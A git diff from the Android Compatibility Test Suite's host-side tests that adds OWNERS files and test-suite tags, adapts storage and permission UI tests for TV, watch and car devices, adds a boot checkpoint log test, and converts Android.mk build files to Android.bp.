diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/OWNERS b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstall/OWNERS b/hostsidetests/appsecurity/test-apps/SharedUidInstall/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstall/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/OWNERS b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SharedUidInstallDiffCert/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstall/OWNERS b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstall/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/OWNERS b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/OWNERS
new file mode 100644
index 0000000..87e75ec
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SimpleAppInstallDiffCert/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 533114
+toddke@google.com
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS
new file mode 100644
index 0000000..9fe672b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
index 1192d15..d287311 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -103,7 +103,8 @@
             device.findObject(new UiSelector().textContains("internal storage")).click();
             device.waitForIdle();
         }
-        device.findObject(new UiSelector().textContains("Clear")).click();
+        String clearString = isCar(getContext()) ? "Clear storage" : "Clear";
+        device.findObject(new UiSelector().textContains(clearString)).click();
         device.waitForIdle();
         device.findObject(new UiSelector().text("OK")).click();
         device.waitForIdle();
@@ -321,4 +322,9 @@
         final PackageManager packageManager = context.getPackageManager();
         return packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
     }
+
+    private static boolean isCar(Context context) {
+        PackageManager pm = context.getPackageManager();
+        return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS b/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS
new file mode 100644
index 0000000..9fe672b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UseEmbeddedDexApp/OWNERS b/hostsidetests/appsecurity/test-apps/UseEmbeddedDexApp/OWNERS
new file mode 100644
index 0000000..5a88bff
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UseEmbeddedDexApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+victorhsieh@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.bp b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.bp
index 9bcf428..705f7c9 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.bp
@@ -35,6 +35,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey2",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.bp b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.bp
index 5286c5f..30029bb 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.bp
@@ -36,6 +36,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey2",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
index b2f9f3f..7861088 100755
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
@@ -416,17 +416,23 @@
                 }
             }
 
-            permissionView.click();
-            waitForIdle();
+            if (!isTv()) {
+                permissionView.click();
+                waitForIdle();
+            }
 
             String denyLabel = mContext.getResources().getString(R.string.Deny);
 
-            final boolean wasGranted = !getUiDevice().wait(Until.findObject(By.text(denyLabel)),
-                    GLOBAL_TIMEOUT_MILLIS).isChecked();
-            if (granted != wasGranted) {
+            final boolean wasGranted = isTv() ? false : !getUiDevice().wait(
+                Until.findObject(By.text(denyLabel)), GLOBAL_TIMEOUT_MILLIS).isChecked();
+            // TV does not use checked state to represent granted state.
+            if (granted != wasGranted || isTv()) {
                 // Toggle the permission
 
-                if (granted) {
+                if (isTv()) {
+                    // no Allow/Deny labels on TV
+                    permissionView.click();
+                } else if (granted) {
                     String allowLabel = mContext.getResources().getString(R.string.Allow);
                     getUiDevice().findObject(By.text(allowLabel)).click();
                 } else {
@@ -455,8 +461,10 @@
                 }
             }
 
-            getUiDevice().pressBack();
-            waitForIdle();
+            if (!isTv()) {
+                getUiDevice().pressBack();
+                waitForIdle();
+            }
         }
 
         getUiDevice().pressBack();
@@ -500,7 +508,15 @@
     }
 
     private static AccessibilityNodeInfo findByText(AccessibilityNodeInfo root, String text) {
+        if (root == null) {
+            return null;
+        }
         List<AccessibilityNodeInfo> nodes = root.findAccessibilityNodeInfosByText(text);
+        PackageManager packageManager = InstrumentationRegistry.getTargetContext().getPackageManager();
+        boolean isWatch = packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH);
+        if (isWatch) {
+            return findByTextForWatch(root, text);
+        }
         for (AccessibilityNodeInfo node : nodes) {
             if (node.getText().toString().equals(text)) {
                 return node;
@@ -509,6 +525,21 @@
         return null;
     }
 
+    private static AccessibilityNodeInfo findByTextForWatch(AccessibilityNodeInfo root, String text) {
+        String trimmedText = trimText(text);
+        List<AccessibilityNodeInfo> nodes = root.findAccessibilityNodeInfosByText(trimmedText);
+        for (AccessibilityNodeInfo node : nodes) {
+            if (trimText(node.getText().toString()).equals(trimmedText)) {
+                return node;
+            }
+        }
+        return null;
+    }
+
+    private static String trimText(String text) {
+        return text != null ? text.substring(0, Math.min(text.length(), 20)) : null;
+    }
+
     private static AccessibilityNodeInfo findByTextInCollection(AccessibilityNodeInfo root,
             String text)  throws Exception {
         AccessibilityNodeInfo result;
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp28/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp28/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp28/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp29/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp29/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp29/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS
new file mode 100644
index 0000000..e5912b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 137825
+moltmann@google.com
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS
new file mode 100644
index 0000000..9fe672b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS
new file mode 100644
index 0000000..9fe672b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp2/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 95221
+jsharkey@google.com
diff --git a/hostsidetests/appsecurity/test-apps/dummyime/Android.bp b/hostsidetests/appsecurity/test-apps/dummyime/Android.bp
index 6b3cce5..b356368b 100644
--- a/hostsidetests/appsecurity/test-apps/dummyime/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/dummyime/Android.bp
@@ -24,6 +24,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey1",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/rro/OWNERS b/hostsidetests/appsecurity/test-apps/rro/OWNERS
new file mode 100644
index 0000000..21cd9d9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/rro/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 568761
+rtmitchell@google.com
diff --git a/hostsidetests/atrace/AndroidTest.xml b/hostsidetests/atrace/AndroidTest.xml
index d616f90..b75a3b0 100644
--- a/hostsidetests/atrace/AndroidTest.xml
+++ b/hostsidetests/atrace/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsAtraceHostTestCases.jar" />
         <option name="runtime-hint" value="9m" />
diff --git a/hostsidetests/angle/Android.mk b/hostsidetests/checkpoint/Android.mk
similarity index 73%
rename from hostsidetests/angle/Android.mk
rename to hostsidetests/checkpoint/Android.mk
index a564b77..7f044b0 100644
--- a/hostsidetests/angle/Android.mk
+++ b/hostsidetests/checkpoint/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2018 The Android Open Source Project
+# Copyright (C) 2019 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -11,23 +11,25 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+
 LOCAL_PATH := $(call my-dir)
 
 include $(CLEAR_VARS)
 
+# Only compile source java files in this apk.
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_RESOURCE_DIRS := assets/
+LOCAL_MODULE := CtsCheckpointTestCases
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
-LOCAL_MODULE_TAGS := tests
+LOCAL_CTS_TEST_PACKAGE := android.checkpoint
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests gts
 
-LOCAL_MODULE := CtsAngleIntegrationHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
+LOCAL_MIN_SDK_VERSION := 4
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
+# Build the test APKs using their own makefiles
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/checkpoint/AndroidTest.xml b/hostsidetests/checkpoint/AndroidTest.xml
new file mode 100644
index 0000000..1b8aba3
--- /dev/null
+++ b/hostsidetests/checkpoint/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for the CTS Checkpoint host tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="test-suite-tag" value="gts" />
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsCheckpointTestCases.jar" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/hostsidetests/checkpoint/OWNERS b/hostsidetests/checkpoint/OWNERS
new file mode 100644
index 0000000..6b12108
--- /dev/null
+++ b/hostsidetests/checkpoint/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 30545
+paullawrence@google.com
+drosen@google.com
diff --git a/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
new file mode 100644
index 0000000..ea876d9a
--- /dev/null
+++ b/hostsidetests/checkpoint/src/android/checkpoint/cts/CheckpointHostTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.checkpoint.cts;
+
+import com.android.compatibility.common.util.CtsDownstreamingTest;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceTestCase;
+import junit.framework.Assert;
+
+
+/**
+ * Test to validate that the checkpoint failures in b/138952436 are properly patched
+ */
+public class CheckpointHostTest extends DeviceTestCase {
+    private static final String TAG = "CheckpointHostTest";
+
+    @CtsDownstreamingTest
+    public void testLogEntries() throws Exception {
+        // Clear buffer to make it easier to find new logs
+        getDevice().executeShellCommand("logcat --clear");
+
+        // reboot device
+        getDevice().rebootUntilOnline();
+        waitForBootCompleted();
+
+        // wait for logs to post
+        Thread.sleep(10000);
+
+        final String amLog = getDevice().executeShellCommand("logcat -d -s ActivityManager");
+        int counterNameIndex = amLog.indexOf("ActivityManager: About to commit checkpoint");
+        Assert.assertTrue("did not find commit checkpoint in boot logs", counterNameIndex != -1);
+
+        final String checkpointLog = getDevice().executeShellCommand("logcat -d -s Checkpoint");
+        counterNameIndex = checkpointLog.indexOf(
+            "Checkpoint: cp_prepareCheckpoint called");
+        Assert.assertTrue("did not find prepare checkpoint in boot logs", counterNameIndex != -1);
+    }
+
+    private boolean isBootCompleted() throws Exception {
+        return "1".equals(getDevice().executeShellCommand("getprop sys.boot_completed").trim());
+    }
+
+    private void waitForBootCompleted() throws Exception {
+        for (int i = 0; i < 45; i++) {
+            if (isBootCompleted()) {
+                return;
+            }
+            Thread.sleep(1000);
+        }
+        throw new AssertionError("System failed to become ready!");
+    }
+}
diff --git a/hostsidetests/classloaders/useslibrary/AndroidTest.xml b/hostsidetests/classloaders/useslibrary/AndroidTest.xml
index 815f138..6505888 100644
--- a/hostsidetests/classloaders/useslibrary/AndroidTest.xml
+++ b/hostsidetests/classloaders/useslibrary/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsUsesLibraryHostTestCases.jar" />
         <option name="runtime-hint" value="1m" />
diff --git a/hostsidetests/compilation/AndroidTest.xml b/hostsidetests/compilation/AndroidTest.xml
index d2c6f87..78f160d 100644
--- a/hostsidetests/compilation/AndroidTest.xml
+++ b/hostsidetests/compilation/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="art" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsCompilationTestCases.jar" />
         <option name="runtime-hint" value="9m45s" />
diff --git a/hostsidetests/content/Android.bp b/hostsidetests/content/Android.bp
new file mode 100644
index 0000000..4478035
--- /dev/null
+++ b/hostsidetests/content/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsSyncContentHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: [
+        "src/**/*.java",
+        ":CtsHostsideTestsAppSecurityUtil",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/content/Android.mk b/hostsidetests/content/Android.mk
deleted file mode 100644
index e60f102..0000000
--- a/hostsidetests/content/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    ../appsecurity/src/android/appsecurity/cts/Utils.java
-
-LOCAL_MODULE := CtsSyncContentHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-LOCAL_CTS_TEST_PACKAGE := android.content
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH)/test-apps)
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp
new file mode 100644
index 0000000..5a91da1
--- /dev/null
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp
@@ -0,0 +1,38 @@
+//
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsSyncInvalidAccountAuthorityTestCases",
+    defaults: ["cts_support_defaults"],
+    static_libs: [
+        "android-support-annotations",
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
deleted file mode 100644
index fd3e5d4..0000000
--- a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-#
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-annotations androidx.test.rules ctstestrunner-axt
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSyncInvalidAccountAuthorityTestCases
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/cpptools/Android.mk b/hostsidetests/cpptools/Android.mk
deleted file mode 100644
index 10ba650..0000000
--- a/hostsidetests/cpptools/Android.mk
+++ /dev/null
@@ -1,16 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/cpptools/AndroidTest.xml b/hostsidetests/cpptools/AndroidTest.xml
index 292c8de..66d564e 100644
--- a/hostsidetests/cpptools/AndroidTest.xml
+++ b/hostsidetests/cpptools/AndroidTest.xml
@@ -19,6 +19,7 @@
     <!-- b/123333261 : run-as not working for instant apps -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsCppToolsApp.apk" />
diff --git a/hostsidetests/cpptools/test-apps/Android.mk b/hostsidetests/cpptools/test-apps/Android.mk
deleted file mode 100644
index 2733252..0000000
--- a/hostsidetests/cpptools/test-apps/Android.mk
+++ /dev/null
@@ -1,23 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp
new file mode 100644
index 0000000..832725c
--- /dev/null
+++ b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp
@@ -0,0 +1,37 @@
+// Copyright 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+    name: "connector",
+    srcs: ["connector.cpp"],
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            suffix: "64",
+        },
+    },
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.mk b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.mk
deleted file mode 100644
index 4191a78..0000000
--- a/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.mk
+++ /dev/null
@@ -1,26 +0,0 @@
-# Copyright 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := connector
-LOCAL_SRC_FILES := connector.cpp
-LOCAL_CFLAGS += -Wall -Werror
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-include $(BUILD_EXECUTABLE)
